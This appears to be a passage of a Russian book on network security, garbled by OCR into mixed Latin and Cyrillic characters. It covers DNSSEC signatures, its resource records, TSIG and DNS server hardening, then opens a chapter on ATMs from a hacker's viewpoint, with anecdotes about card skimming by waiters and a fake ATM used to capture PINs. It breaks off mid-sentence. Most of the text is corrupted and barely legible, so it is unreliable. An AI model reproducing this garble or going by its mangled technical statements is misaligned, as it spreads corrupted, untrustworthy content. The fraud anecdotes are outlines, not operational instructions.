Jtst TUKBUMAAUMKA Ha3BaHHBIX orpaHmdeHuii nmporokoja DNS IETF
cozgana pabouyio rpyrmny DNSSEC (DNSSEC Working Group, DNSSEC
WG) nna BHecenust pacmmpenuit DNSSEC B cymiecTBylommuii IIpoTOKOII.
Berkeley Internet Name Daemon (BIND) 8.2 umeeT HeKoTOpbIe U3 (PYyHKIIM-
oHanbHBIX Bo3MoxHocTeit DNSSEC.

Lenp DNSSEC — obGecnieunth ayTeHTU(MUKALIMIO U LIEJTOCTHOCTh UH-
dbopmanun, conepxaieiics B8 DNS. DNSSEC no3BossieT 10OCTUTHYTh 00enX
1IeJIel TIOCPEICTBOM MMUMPOBAHUS.

B otBete ¢ DNSSEC oTtBeTHOE COOOIIEHNE CONEPXKUT HE TOJIBKO ITO -
MMUCHU U KJTIOUM, HEOOXOAMMBbIE MIJIsI POBEPKU MHMOPMALMK, HO M CAM MCXO/I-
HBIN BOIPOC.

Ota mnpoleaypa Ha3blBaeTcsl «AyTeHTU(dUKalMell TpaH3aKUUW U 3a-
npoca». biarogaps et 3anmpaimBaroiiasi CTOpoHa MOXET ObITb yBepeHa, 4To
OHa TOJIyYMJia OTBET Ha TOT BOIIPOC, KOTOPBII 3a7aBasa.

DNSSEC onupaetcs Ha mudpoBaHUE C OTKPBITHIMU KJIIOYaMU IS
ronncy nHopmammu, comepxairieiicss B DNS. Takue kpumnrorpadmyeckue
TTOIITCH 00ECTIEYMBAIOT IIEJIOCTHOCTD 3a CYST BHIYMCIICHUSI KpUIITOTpadude-
CKOTO X3111a (T.e. YHUKAJTbHOM KOHTPOJBHOM CYMMBI) TAHHBIX U 3aTeM 3alll-
TBI BBIYMCJICHHO! BEJTMUMHBI OT HECAHKIIMOHUPOBAHHBIX U3MEHEHU I TIOCpe -
CTBOM ee ImbpoBaHus. Xoml MuUdPYeTcs ¢ MOMOIIBIO JUYHOTO KIToYa M3
Mapbl KJIIOYEi, YTOOBI JII0OOH Xeallrii MOT BOCIIOJIb30BAThCS OTKPBITBIM
KJtouoM miist ero aetdposku. Ecnu neimmdpoBaHHOe mmoyyaresnieM 3Haue-
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HUME Xo111a COBIIaAacT C BBIYMMCICHHBIM, TO JaHHBIC TOCTOBCPHLI (HC noasepra-
JIMCb HCCAaHKIIMOHNUPOBaAaHHOMY I/I3MCHCHI/IIO).

Kpunrorpadudeckas MoAnuCh M OTKPHITHIA KJTH0Y, UCIIOJIb3YEMBbIIA IS
Bepu(pUKAIMU TTOATIMCH, TTOJTYYaloT ITOCPEACTBOM 3alPOCOB U OTBETOB, KakK
1 JII00YI0 Ipyryto nHpopmanmio B DNS.

B ciyyae kpunrorpaduyeckoil moAnucyu ayTeHTU(PUKaus MpOu3BO-
JIUTCS HESIBHO, HA OCHOBAaHUU (haKTa COBMaAeHUs AeIIM(GPOBAHHOTO U BbI-
YUCJIEHHOTO 3HAYEHMI X3111a: TOIBKO JAepKaTeb JMIYHOTO KiItoya MOT 3almd-
poBaTh X3II, TaK KaK OTKPBITHIM KJIIOY AaJl MPaBWJIbHOE 3HAYCHUE X3IIa.
Takum obpazoM, Jr00ast cucTeMa Ha 0a3e TeXHOJOIMU OTKPBITHIX KIIIOYeit
JIOJIKHA 00ecTeurBaTh HaIeXKHYIO 3alIUTy JUYHBIX KITI0Ueil. DToMy BOIIpocy
nocasieH nokymeHT RFC 2541 pa6oueii rpynnst DNSSEC.

Hosble 3anucu pecypcos

Kpunrorpapuueckne nmogmucu DNSSEC npuMeHSIOTCS K JaHHBIM
110 30HEe, IMHAMUYECKUM OOHOBIeHUSIM U TpaH3akmusaM DNS. Kpome Toro,
OHM WCHOJB3YIOTCA s IOATBEPXIEHUS OTCYTCTBUS maHHBIX DNS.
DNSSEC npenycmarpuBaeT Tpu HOBbIe 3amucu pecypcoB — KEY RR, SIG
RR 1 NXT RR.

KEY RR comep:XuT OTKPBITHIN K04, MPUHALJIEKAIIN UMEHU TOME-
Ha, ykazaHnHoMy B KEY RR. D10 He ceptudukar oTKpbIToro Kiwoya. Mexa-
HU3M o0ecreueHUus BOBMOXHOCTEl MoucKa CepTU(GUKATOB OTKPBITBIX KIIO-
yeii npeaycMmarpuBaeTcsi DNSSEC WG, Ho He muig 1ejieil 3aliuThl JaHHbIX
DNS. On npenocTapisieTcsl B KauecTBe TOMOJHUTEILHOT0 OOHYyca, baroaapst
kotopoMy DNS MoxeT mpuMeHsTbCs 11 3anpoca cepTU(GUKATOB OTKPHITHIX
KJIIOYei Ha BCe, UTO MOXKET OBbITh MPENCTaBICHO C MOMOIIbI0 UMEHU TOMEHa.
D1y BoamoxHocTh obecnieunBaeT CERT RR.

SIG RR comepXuT MpeuMylliecTBEHHO KpUITOrpaduuecKyr Toja-
MMUCh, AATy OKOHYAHUSI CPOKa TOMHOCTM MOAINMCU W OTpelnesieHUe TaHHbIX
DNS, k kotopsiM 3Ta oanuch otHocuTcsa. NXT RR mo3BosisieT npoBeputh
(3a cuet ucnojib3oBaHus1 Kpunrorpacduu), yto RR misa nannoro umenu DNS
He cymecTByeT. TakuM o6pa3oM, oTcyTcTBUEe mJaHHOKW RR MokeT ObITh mom-
TBEPKACHO JOKA3aTeIbHO.

Hpyrum acriektom DNSSEC sBnserca nmoanuch Tpan3akiuuu (Tran-
saction Signature, TSIG). TSIG otnuuaercs ot apyrux noanuceitr DNS tem,
YTO OHA CO3[AeTCs C MCIOJIb30BaHWEM IIMGPOBAHUS C CEKPETHBIMU KITIO-
yamu.

[Tporokona DNSSEC kak TakoBoii He obecriednBaeT KOHOUIECHIIUATb-
HOCTH JaHHBIX I KOHTPOJIST AocTya. OMHAKO KOHKPETHBIE €T peaTn3alluy
MOTYT IPeIyCMaTPUBaTh T¢ MW MHbIE MEXaHU3MBI 00eCIIeYeHNS KOHMDUIEH-
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LMAJILHOCTU U KOHTPOJIs AocTyna. [IpuunHa OTCyTCTBUSI TAKOTO CTaHAAPTHO-
ro MexaHu3ma B DNS B ToM, uTo ucxoansliit npotokos DNS npenHazHavancs
JUTs1 pabOoThI ¢ O0IIEAOCTYTHBIMU JaHHBIMU. O3a004€HHOCTDb YyTeUKOi HHMOP-
MallMM OTHOCUTEJIbHO MUMEH U MECTOHAXOXIEHUSI CUCTEM U BO3MOXHOCTb
aTak 1o TUIY «OTKa3 B OOCIYXMBAaHMH» TOPOXKAAET CIPOC HA MEXaHU3MBbI
obecrieyeHrsI KOHOUIEHIIMATBHOCTY U KOHTPOJISI JOCTYIA. DTOT CpOC OTpa-
Kaercs B peanu3auusix DNS.

Hamnpumep, peanuzauusi BIND npenycMmarpuBaeT KOHTPOJIb JOCTYyIIA
JUJIS1 TIPEIOTBPAIleHUs] TePEeChIJIKM 30HbI HE YITOJTHOMOYEHHBIM Ha TO CUCTE-
MmaM. Kpome Toro, oHa 1o3BOJIsIET 3apeTUTh cepBepaM DNS orBeyaTh Ha 3a-
MpOCHI ornpefeneHHbIx cucteM. CerogaHs KOH(UIECHIIMATbHOCTh YaCTUYHO
obecrieynBaeTcs 3a CUeT MpUMEHEeHUsI OpaHIMay> pOB U TaK Ha3bIBaeMOil pac-
mwerieHHo# DNS st 3aTpynHeHUs 1OCTyTa U3 BHEITHEH CETH K BHYTPeHHe
nHdopmaru DNS.

Internet Software Consortium (ISC) — HekoMMepuecKasi OpraHu3a-
1M1, 3aHUMAIOIIAsICs peau3alieil 6a3oBbIX MPOTOKOJIOB Internet B BuIe oT-
KPBITBIX KOAOB, — J100aBWIa 1Ba MeXaHW3Ma 3alIUThI JUISl HaJeJIeHUs cepBepa
DNS Bo3moxHocTssmu DNSSEC. IlepBrlii onpenesseT ayTeHTUYHOCTD JaH-
HBIX B CHCTEME Ha OCHOBAaHUM MPOBEPKU (haKTa X MOANMCUA aAMUHKUCTPATO-
POM y3J1a, OT KOTOPOTO OHU SIKOOBI MTOCTYIUJIH.

OnHako, Kak OOJIbIIMHCTBO MOMOOHBIX PELIEHUI, 3TOT METO/I MPOCTO
CMEIAeT aKIEHThl B MpoOJieMe 3allUThl, CTaBsl Bompoc: «Kak Mbl MOXeM
3HATh, YTO TaHHbIE ObLTA JEHCTBUTEIBHO MOAMUCAHBI TEM, KEM OHU JOJIKHBI
ObLIM OBITH MOAMUCAHbI?» B ciiyyae mudpoBaHUsT ¢ OTKPBITBIMUA KITIOUaMU
IIOANUCHU TE€HEPUPYIOTCS € TIOMOUIBIO JIMYHOTO KJII0Ya U IIPOBEPSIIOTCS C I10-
MolIblo oTKpbITOro kioya. DNSSEC ucnonb3yeT /it paclipocTpaHeHUs OT-
KPBITBIX KJtoueit y3ioB Internet camy DNS, T.e. HE0OXOIUMBI 7151 TPOBEPKU
KJIIOY TIPEIOCTABIISIETCS C IIOMOLIBIO TOTO K€ CaMOIr'0 COBEPLIEHHO He3allu-
LIEHHOTO TPOTOKOJIA, YTO Y TAaHHBIE, KOTOPBIE BbI MIbITAETECH MPOBEPUTH. Ka-
>KETCS1, YTO MBI MTONAJIM B 3AMKHYTBII KPYT, HO 3TO HE TaK.

OnuH M3 cnocobOB MPOBEPUTh OTKPBITHINM KJIHOY [0 UCIOJb30BAHUS
€ro ISl IIPOBEPKMU OTBETA — B3MJISIHYTh HA MOAMMUCH CAMOTO OTKPBITOIO KJIIO-
ya. Ponutenbckuii y3esl AOJIKEH MOMAMMCHIBATH BCE CBOM OTKPHITHIE KITIOUH,
IMO3TOMY B HallleM IIEPBOM IIPUMepe MIPOBEPOUHBI (OTKPHITHIN) KITIOU eXam-
iner.com JOJDKEH OBUI OBITH IIOAIMCAH agMMHHCTpaTopoM com. OmHaKo
Mpekae yeM IMPOBepsITh MOANKUCH COm [Jis examiner.com, HaM HEOOXOIUMO
3HATh OTKPITHIA (IIPOBEPOYHBIIT) KJIIOU JJIsI CAMOIO COM, a OH AOJIKEH OBbITh
MOJMMCAH POIUTeNIeM com (T.e. BEIIEYITOMSIHYTEIM KopHeM DNS). UToOH
ObITh a0COJIIOTHO YBEPEHHBIMU B TOM, UTO OTKPHIThIE (IPOBEPOYHBIC) KIIIOUM
KOPHSI JEeMCTBUTEILHO MIPUHAIICXKAT MY, OHM JOJDKHBI HAXOAUThCSI Ha Ba-
IIEM KOMIIbloTepe B (haiisie, MOJy4eHHOM 3allUIIeHHBIM 00pa3oM (Hampu-
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Mep, Ha CD-ROM) oT HafeXXHOro UCTOYHMKA (HarpuMep, OT ITPOU3BOIUTE-
JIsT KOMITbIoTepa). Tak Kak KOpeHb SIBJISIeTCS ITPapoauTeieM BCeX MMEH ToOMe-
HOB, TSt Bceid DNS HykKeH TOJIbKO OIWH OTKPBITHII KITIOY.

Bropoii MexaHu3M 3a1uThl, KOTOpEIi BBena ISC, mpoBepsieT pakT 1mo-
CTYIUIEHUSI MIPOTOKOJIBHOTO COOOIIEHMSI OT 3acIyXKMBAaIOIIETO MTOBEpUs UC-
TOYHMKA. DTO HE NPUHLUMIIMAILHOE, HO Ype3BLIYAfHO BaXKHOE pas3Inyue:
BMECTO IIPOBEPKU ayTEHTUYHOCTH JAHHBIX MEXaHW3M 3aIlUTHI IIPOBEPSIET ay-
TEHTUYHOCTb OTIIPABUTEJIS TaHHBIX.

IIpakTuuecku Bce naHHble DNS nmocTymaioT u3 K311eil, a He HarpsiMylo
OT OCHOBHBIX MJIM BCIIOMOTaTe/bHBIX cepBepoB. Kallu sBisitoTcs cepBepaMmu
DNS, HO OHM He O0TBEYalOT 3a 3TU JaHHbIE HEIIOCPEACTBEHHO, KAK OCHOBHBIE
WJIA BCTIOMOTAaTeIbHbIE CEPBEPBI, U MOTYT JaXe He UMETh KaKUX-JIMOO0 MOCTO-
SIHHBIX COOCTBEHHBIX JAHHBIX — BCE, YTO 3HAIOT, OHM Y3HAIOT, KOTAa Ka-
KOM-JIM00 KJIMEHT 3a71aeT UM BOIIPOC U OHU BbIHYKAEHbBI HAXOJUTb Ha HETO OT-
BeT. OOWH TUNUYHBIA TPIOK, TPUMEHSEMBbI XaKepaMu, COCTOUT B
6oMOapaAMpPOBKE KJIMEHTA OTBETAMU UMEHHO B T€ UHTEPBaJIbl BDEMEHU, KOTIa
KJIMEHT OXHUIAET MOJTYYeHUs OTBETA OT JIOKAJTBbHOIO K3IIMPYIOIIEro cepBepa.
KiueHT He B COCTOSIHMM OTJAWYWTH HACTOSIIMIA OTBET OT MOJJIEIBbHOTO, MO-
3TOMY OH IIPOCTO UCIIOJIb3YyeT JI000M MOJIyYeHHBINA.

KiveHTy MpuxonuTcst A0BEPsTh, BO-TIEPBbIX, CEPBEPY, UTO OH BIIOJI-
HWI CBOIO paboTy MO MpOBEPKE MTAaHHbBIX, U, BO-BTOPBIX, OTBETY, YTO OH NEii-
CTBUTEJIBHO MOCTYII OT JIOKAJIBHOTO K3IIMPYIOLLETO CEPBEPA, @ HE OT HEKOM
BTOPTIIEICS B IMAJIOT TPEThEH CTOPOHBI.

NoAnucuK TPAHK3AUUN

DT1oT MeTop 3auuThl Ha3biBaeTcss TSIG, MOTOMy UTO OH Mpe/roaaraeTt
mudpoBaHue COOOIIEHUS C MOMOIIbBIO ceKpeTHOro Kioua. Ero otanuue co-
CTOUT B TOM, UTO OJIVH U TOT € KJII0Y UCTIOJIb3YeTCs KaK IJIsl TeHEepalvu MoJI-
MKCHU, TaK U IJI51 €€ MPOBEPKH (T.€. BCS MPoLieaypa SBJSETCs 3aKPBITOI), U UTO
001U CeKPETHBIN KJTI0Y (TaKKe Ha3bIBAEMbIil «OOIIIMM CEKPETOM») U3BECTEH
TOJILKO XOCTaM U3 OJHOM JIOKAJIbHOM CeTH WM (B KpailHeM ciiydae) B OQHOM
TepputopuasibHoii cetu. Mcnonw3oBats TSIG ropasno mpolie, 4eM MOJTHO-
MacirabHyo 3amuty DNSSEC.

TSIG ocobenno mosne3eH B cirydae TpaH3akuii DNS UPDATE. bonb-
mUHCTBO TpaH3akuuit DNS npencrapiser coboii 3ampochl OTHOCUTEBHO Ha-
mmuns maHabeX. Tpanszakumss DNS UPDATE BHocut n3amMeHeHMsT B TaHHBIC
DNS Ha y3ne. Dra Tpansakius onvcadHa B RFC 2136, HO 1151 HalMX Liejieit
JIOCTAaTOYHO OyAeT 3HATh, YTO OHA He CHAaOXeHa COOCTBEHHBIMU MeXaHM3Ma-
MM 3aLIUTHI.
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BcaencrBue Toro, uro ooHoBiaeHre DNS ocyliecTBisieTcs: 0ObIYHO MO
UDP, a 3anpoc UDP jnerko noaaensiBaeTcs, y cepBepa HET HUKAKUX CIIOCO-
60B ycrtaHOBUTH, uTo 3arnpoc DNS UPDATE pa3speliiieH ajist JaHHOTO y3ia.
Ecnu, ¢ apyroii croponsl, kiiieHT UPDATE uMeeT o01uii CeKpeTHBIM KITI0Y
¢ cepBepoM DNS u ucnosib3yet ero ajsi reHepaluu MOAMKUCH MO/l 3alPOCOM,
To cepBep UPDATE MoxXeT BOCIOIb30BaThCSl TEM XK€ CaMbIM KJTIOUOM JUIST
MPOBEPKHU MOAMMUCH W MPOBEPKU HAJMYUS y 3aMPalIMBAIOLIET0 HaUIeXallnX
MOJIHOMOYHUH.

Heaoctartkm DNSSEC

IMonnucanue v npoBepka gaHHbIX DNS, oueBUAHO, CO30AI0T OO~
HUTEJIbHbIE HAKJIaIHbIE PACXOIbl, OTPULIATEILHO CKA3bIBAIOIIMECS HA TTPOU3-
BOAMTEIBLHOCTH CeTU U cepBepoB. [loanucy 3aHUMAIOT HEMaJIO MECTa, 4acTo
OHM HaMHOTO TPEBBIIIAIOT 110 00bEMY JaHHbIE, MO KOTOPBIMU CTOSIT. DTO
YBEJIMYMBAET HArpy3ky, kotopyio DNS Boanaraer Ha mMaructpaib Internet u
MHOT'Me HeMarucTpajibHble KaHasbl. [eHepalus u mpoBepKa MOoAMUceil OTHHU-
MaloT 3HauMuTeabHoe Bpems LITTY.

B HexoTophIX citydasix omHoOIporeccopHbIit cepBep DNS nmpunercst na-
K€ 3aMEHUTh MHOToIpoleccopHbiM cepBepoM DNS. INoanucu n Koy Mo-
T'YT 3aHUMAaTh Ha MOPSIAOK OOJIbIIIe MeCTa Ha TUCKE U B OIIEPaTUBHOM aMSITH,
YyeM COOCTBEHHO AaHHBIC. Ba3bl TaHHBIX M CHUCTEMbI YIIPABJICHUS TIPUICTCS
HapallMBaTh, YTOOBI OHM MOTJIM CITPABJISITECS C BO3POCIINMH OObEMaMH.

Kpowme toro, peanuzamus DNSSEC compoBoxnaercss 1 APyrMMH, He
CTOJIb OYeBUIHBIMM 3aTpaTaMu. HoBoe mporpaMmHoe obecriedeHue OOoJbIle
o 00bEMY U CIIOKHEEe, YeM TPekKHee, a MHOTHE €0 KOMITOHEHTHI SIBJISTIOTCSI
COBEPILIEHHO HOBBIMU U HYXXIAIOTCS B OOIIMPHOM TECTUPOBAaHUM B PEATbHBIX
ycnoBusix. Iloka mmpokomacmTabubix ucneitanuii DNSSEC B Internet He
MPOBOJMIIOCH, TaK YTO OHM MOTYT TIPUHECTH MHOXKECTBO CIOPIIPU30B (BO3-
MOXHO, Ja)Ke TTPUIETCS TTOJTHOCTBIO MEHSTB).

BeiBoa orcioma ciaemytouuii: passeptbiBaHue DNSSEC upesarto
CTOJILKMMU K€ OMACHOCTSIMU, KaK M OTKa3 OT Hero. Mbl Obl peKOMEHIOBAIU
o6oxnath roa wiu nBa, moka DNSSEC RFC He moay4yut cratyca XoTs1 Obl
MpoeKTa cTaHaapTa.

Ha nayvano 2000 roga TSIG noiaHocteto 1 DNSSEC yactuuHo Obln
peanus3oBaHbl Tobko B BIND 8.2. Ipyrue paspaboTtuuku (BKiIHOYast
Microsoft) cobupatorcs peanuzoBath pazanuHbie opMbl TSIG B cnemyronmx
penakuusax cBoux npoaykros. Cneundukanus BIND 9.0 6yner comepxarb
nosiHyio peaym3annio DNSSEC.
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Pa6ota npoAoOAXaeTCS

Pabota Haa HeKoTopbIMU (DyHKIMOHATBHBIMU cTopoHamMu DNSSEC
elle MpoJoJXKaeTcsl, HalpruMep, Hall TeM, KaK UMEHHO alMUHUCTpaLIMs com
OyIeT MOAMUCHIBATh OTKPBIThIE KitouUd. COOTBETCTBYIOIIMI HOBBIN MPOTOKOJ
MOXeT BCKOpe MosiBUThCS. KpoMe Toro, Bo BpeMsi CMEHbI KJIIOUeil MOXET Mo-
TpeboBaThCsl MONEPXKUBATh OAHOBPEMEHHO 0ojiee OAHON Mapbl OTKPBI-
TBIX/JIMYHBIX KJIIOYE, HO KakK 3To OyleT pealu3oBaHO, Moka HescHo. Eciau
JIMYHBIA KJTIOY OKaXeTCsl YKPaJieH U, KaK CJIeJCTBUE, TOJKEH OYIeT U3BSIT U3
obOpalleHusi, TO B HACTOSIIIIee BPEMsI HUKAKUM CIIOCOOOM HEJIb3sl U3BECTUTh
0 KOMIIPOMETAIIMU KJIIoYa TeX, KTO OyIeT MpOoBEpsITh C €ro MOMOUIbIO TMOJI-
MUCh.

HaxoHelr, 3To BOIpoc 3alIUThI JMYHOTO KJTI0Ya KOPHS. DTOT KITI0Y OY-
JIET IO CYTH KJTIOYOM KO Bceli KoMMeplinu Internet B MUpOBOM MacIitabe, HO
aJIMUHUACTPAIs KOPHEBBIX CEPBEPOB TIOCTOSTHHO MEHSIETCS.

Homxubl u CoeauHeHHble LTaTel MpoaoaXarh aiMUHUCTPUPOBAThH
5TO BCEMUPHOE CPECTBO 0OecreueHusl JIeKTpOHHOM Kommepimu? Ecnu an-
MMHUCTPpUpPOBaHME OyIeT MeperaHo HEeKOMMEPUECKOoil oTpacyieBoii accolya-
uuu, Hanpumep Internet Corporation for Assigned Name and Numbers
(ICANN), To CMOXeT JI1 TaKkasi OpraHu3als y4ecTb MHTePEChl U 3aKOHOa-
TEJILCTBO BceX cTpaH? JI0JKHO JIM OHO ObITh TiepeaaHo O6benrHeHHbIM Ha-
uusim? B cocrossHum nu O6beauHeHHble Halim cripaBUThCSI ¢ TOA00HOI OT-
BETCTBEHHOCThIO? B cocTosiHMM U KTO-HMOynb BooOie? Pa3BepThiBaHUE
DNSSEC Bo BceMupHOM MaciuTtabe HeBO3MOXKHO, ITOKa BOIPOC C aIiMUHU-
cTpalveit KOpHs He OyJeT yperyJInupoBaH.

BepHo, koHeuHo, uTo pabora Hax DNSSEC emie He 3aBepiieHa. OnHa-
KO Jito0ast opraHu3anus, akTUBHO MCToJib3ytoias Internet, moyikHa paccMar-
puBath DNSSEC B kadyecTBe BasxkHEHIIIETO0 KOMITOHEHTa CBOeit MH(ppacTpyK-
TYpbl 3allWTBI, MOTOMY MpoTokoan DNS mo-mpexHeMy ySI3BUM JUIS
3noyrnorpebaenuii. Tompko DNSSEC, 6marogapss CBOMM MOIITHBIM KPHUIITO-
rpapmyecKUM MeXaHU3MaM, B COCTOSTHUM 00ECTTEeYUTh OMHOBPEMEHHO ayTeH-
TU(UKALUIO U 1IEJIOCTHOCTD Beex acrnekroB DNS.

3awura cepsepo DNS 6e3 nomowm DNSSEC

Bocnonb3yerech nu Bl HemosHO# peanusauueit DNS Security
(DNSSEC) B BIND 8.2 unu Oynere xxaaTh IMOJHOM CTaHIapTU3allMKA pac-
IIMPEHUI 3allUThHI, B JTIOOOM Cilydae Bbl MOXETe MPUHSATh HEKOTOPbIE MEPbI
MPEeAOCTOPOXKHOCTH ISl 3alUThl MH(popMaiiuu DNS 10 nosiBieHus MogHON
peanusanuu DNSSEC. Cepsep, rae BBIIOJHSIETCS ITPOrpaMMHOE obecrie-
yeHre DNS, nomxeH ObITh Xopoiio 3amuiieH. Bee [TO, BKtovyast mporpaMm-
Hoe obecnieueHue DNS, 10JKHO OBITH IPENCTABICHO B MOCAEIHUX peaaK-
LIMSIX, U K HUM JIOJDKHBI ObITh IPUMEHEHBI BCe BBIMYIIEHHbIE 3ariaTsl. [1pu
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OlLIeHKe BO3MOXHOCTU pa3meltieHnss DNS Ha cepBepe BbI JOJKHBI TOMHUTB,
YTO BCSIKOE€ BBIITOJIHSIIOIIEECS HAa CEpBEPE CETEBOE MPMIOXKEHUE YBEINUMBAET
puck B3joMma. JIyisi coKpallleHUsI CTEIeHW PUCKa Ha cepBepe MOJIKHBI BbI-
MOJIHATBCS TOJBKO CaMble HEOOXOAMMBIE [IJISI €r0 pabOoThl TIPUIIOKEHUS. 3a-
TE€M Bbl MOXETE OTPAaHUUYUTh JOCTYIT K 3TUM CEPBUCAM M MPEAYCMOTPETh XKe-
CTKYI0 WACHTU(DUKALUIO [ TeX IPUJIOXEHUN, JJIsI KOTOPBIX OHa
Heobxoauma.

C mnosiBIeHUEM aBTOMAaTU3UPOBAHHOTO MHCTPYMEHTApUSl CKAHUPOBA-
Hus ipu Beixogie B Internet cepsepsl DNS noaBsepraroTcst TOCTOSSHHOMY 30H-
JNIMUPOBAHWIO Y MIOTILITKAM BTOPXKEHUsI. 3/1eCh TPAKTUYECKU HUYETO HeJIb3sI T10-
nenaTh, Tak Kak cepBepbl DNS m0KHBI OTBEYaTh Ha 3a1pOCHI.

OpHaKko UX OTKPBITOCTh MOXKHO OTPAHUYUTH 33 CYET MPUMEHEHUS MO-
nenu pacuierieHHo DNS. Ilpu takoit mogenu oguH cepBep DNS ¢ MuHu-
MaJIbHOM MH(popMaleil MoMelIaeTcsl C BHELIHEN CTOPOHBI CETU, B TO BpeMsl
KaK BTOPOIi cepBep — C BHYTPEHHEN CTOPOHBI. JIOCTyI K 3TOMY cepBepy BO3-
MOKEH TOJIbKO U3 BHYTPEHHE! CeTU, U OH COAEPKUT BCio nHPopmaimo DNS
M0 BHYTPEHHEH CETH.

[ToMHUTE, YTO BHYTPEHHUE CEPBEPHI MOTYT TMOABEPTHYTbCS aTakaMm U
WU3HYTPU CETHU, MOSTOMY OHU JOJKHBI ObITh 3AIUIIEHBI TaK Xe THIATEIbHO,
Kak BHelHue cepsepbl DNS. Ha cityvait, eciiu 3710yMbIIIIEHHUK MTOJTYYUT A0-
CTyN K cepBepy, anmMuHucTpaTop DNS MoxeT Bocrosnb30BaTbes pe3toMe Co-
o01eHMs (HanpuMep, KOHTPoJIbHOI cymmoiit MDS) st o6HapyxeHus dakra
HE3aKOHHOTO U3MEHEHMSI TAHHBIX.

fAnaBa 15.
baHkomar

BaHkoBCKMe aBTOMAThl M KPEIUTHBIE KAPTOUKH YK€ TAaBHO TIOSIBUIMCH
Ha yJuIax OOJBIIMX TOPOAOB M IOCTENIEHHO HAUYMHAIOT BXOMWUTH B HAIIy
Xu3Hb. YTO ecTh OaHKOMAT ¢ TOYKMU 3peHus xakepa? [IpaBuIbHO, HICTOUHUK
XaJISIBBI X OBICTPOTO CII0cOo0a 3apaboTaTh HEMHOI'O KapMaHHBIX AeHbXaT. Benb
€CJIM YKPacTh IECATOK-APYTOii T0JIapOB, KTO OYIET Bac UCKaTh?

ITo croBamM 6aHKOBCKUX paOOTHUKOB, ONIPaBIaHHBIMK ¢ (PUTHAHCOBOM
TOYKM 3pEHUS OYIYT MOMCKY TTOXUTUTENISI, YMBIKHYBIIIETO B CBOM KapMaH I10
kpaiiHeit Mmepe 300 BeUHO3eICHBIX.

YMmeHbuM 3Ty 11Mdpy BABOE AJis 6€30MaCHOCTH U TTPUMEM TOJTy4YeH-
HbIE MOJTOpAacTa 0AKCOB B KAUE€CTBE TOTO MOTOJIKA, 3aXOAUTh 32 KOTOPbII HE
CTOUT Jlaxke B TOM CJIydae, €CJii O4eHb-OUE€Hb XOUETCS KyMUTh HOBbIII MUKPO-
MPOLIECCOp MJIM MaTEPUHCKYIO TUIAaTy, a K HUM OBICTPBII MOJEM BIIpUIAYY.
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BripoueM, ¢ 1OpMANYECKON TOYKM 3PEHMS ITOXUIIEHHUE IaXe OIHOTO
nmojutapa — Kpaxa. [1oaToMy, mpexiie YeM OTIPaBIsIThCs K OJvKaiiimeMy 6aH-
KOMaTy ¢ KycauKaMH M OTBEPTKOIA, 3alTaCUTeCh Ha BCAKHUI CITyJail mapoi al-
BOKaToB U 3axBaTute LlIBapiieHerrepa Ha TOT CJIyJaid, YTOOBI HEMHOXKO ITO-
MpUAepPXKaTh CIyXO0y Ge30macHOCTH OaHKa, IMOKa BBl OymeTe CMaThIBaTh
yIo4KHU. ISt TOro 9TOOBI MOAYYUTh ACHBIM, MaJIO HAUTH MMOTEPSTHHYIO Kap-
TOYKY Y BCTABMTB €€ B ITPOpe3b aBToMaTa. Hy>XHO BBECTH ¢ KJIaBUATYPhI OIpe-
NIeJICHHBIN KO/, Ha KaPTOUKe He HAITMCAHHBIN M XPaHSIIIHUIACS Y KIIMEHTa B TO-
soBe. Cama 10 cebe KapTouka 6e3 Hero — OecCIoJie3HbI KYCOK IUTACTHKA.
K ToMy Xe ee OBIBIIMIA BlIameIIell, KaK TOJBKO OOHAPYKUT MPOITaxy, HeMem-
JIEHHO MO3BOHUT B 0aHK, M Y KAPTOUKH OYIET BBICTaBJICH 3HAK U3bATUSA. [Ipy-
MMM CJIOBAMM, OHAa MCYE3HET B Hepax OaHKOMAaTa M yXe 00JIbIlle HUKOTIA He
ronaneT K BaM B pyku. CJieoBaTeIbHO, HY>KHO He TOJIbKO HalTU KapTOJKy,
HO eIlle ¥ TTOJCMOTPETh BBOIUMBIIA €€ BJIaleNIblIeM Iapojib U CHATH CO CUeTa
TpeOyeMyIo CyMMY ellle IO TOTO, KaK TOT O0OHApYKUT MPOIaxy.

Brpouem, ecim MBI YK CyMeIHn ITOACMOTPETh HapoJib, TO M KaPTOUKY
BOpPOBATh COBEPIICHHO He 00s13aTebHO. [locTaTouHo ee cuntaTh. YTo 1 cre-
JIaJIM B CBOE BpeMsI pebsita 13 DcroHnu. McTopus mymMHast 1 M3BECTHAs I10Y-
T KaxknoMmy Kapaepy. B moporux pecropaHax oulinaHT, ITOKa HeC KapTOUKY
KJIMEHTA, YCIIEBaJI €€ CYUTATh MOPTATUBHBIM YCTPOMCTBOM pa3MepOM C MauKy
OT CHTapeT, U3TOTOBJICHHBIM M3 OOBIYHOM MarHMTO(POHHON TOJOBKM, OaTa-
peiiku, yCUINUTENIsI CUTHAJIOB M 3alMChIBAIONIETO ycTpolicTBa. OmmbKa rops-
YMX 3CTOHCKMX MapHe# 3aKII0Yajiach B TOM, YTO OHU IPaObMI 4acTO ¥ TIOMHO-
ry. pyrumu ciioBaMu, B KaTHOCTH.

A BOT B JApYroii MCTOPUU 3JIOYMBIIIJIEHHUKAM TOBe3JI0 OOJblIIe.
Kak-To pa3 Ha MaJOIIOMHOM YIMIle OMHOTO HEOOJIBIIOTO FOPOIKa MOSBUICS
HOBBII GaHKoMaT. EcTecTBeHHO, HAIIMCh TakKHWe, YTO TMOXeJaJIu MM BOC-
nmoib3oBaThesl. OMyCKaloT B HETO KapTOUKY, BBOAST HYXXHBIN Maposib. KiyT
cebe, KIyT, a 0AaHKOMAaT UM OTBeYaeT: U3BMHUTE, MOJI, HETY JAeHET WU CBSI-
31 — B 00I1IeM, BbIIAeT HEMOAO3PUTEbHOE 00BbICHEHE HEBO3MOXHOCTH BbI-
nayu aeHer. B 0aHke J0/1ro MoOHSTh HE MOIVIM — KaK COBEpIlaeTcs Kpaxa?
ITouemMy-TO HUKOMY M B TOJIOBY He MOTJIa MPUITH MBICTb, YTO 3TOT GAHKO-
MAaT-TO JIMIIOBBIN U YCTAHOBJIEH 3JIOYMBILIJICHHUKAMU CIIEIMATIbHO ISl UTe-
HUS KapT 1 3alTOMUHaHus napoJieit. [To3xe ero 1eMOHTUPOBAIH, HO 3JI0YMbI-
IIUIEHHUKOB, KaXeTCs, TaK U He HallUTK. 3a MoATopa rojaa (a MUMEHHO CTOJIBKO
OH YMYIPUJICS MPOCTOSITh) KapAephl NepeKayajn Ha CBOI CYeT HEMATYIO CyM-
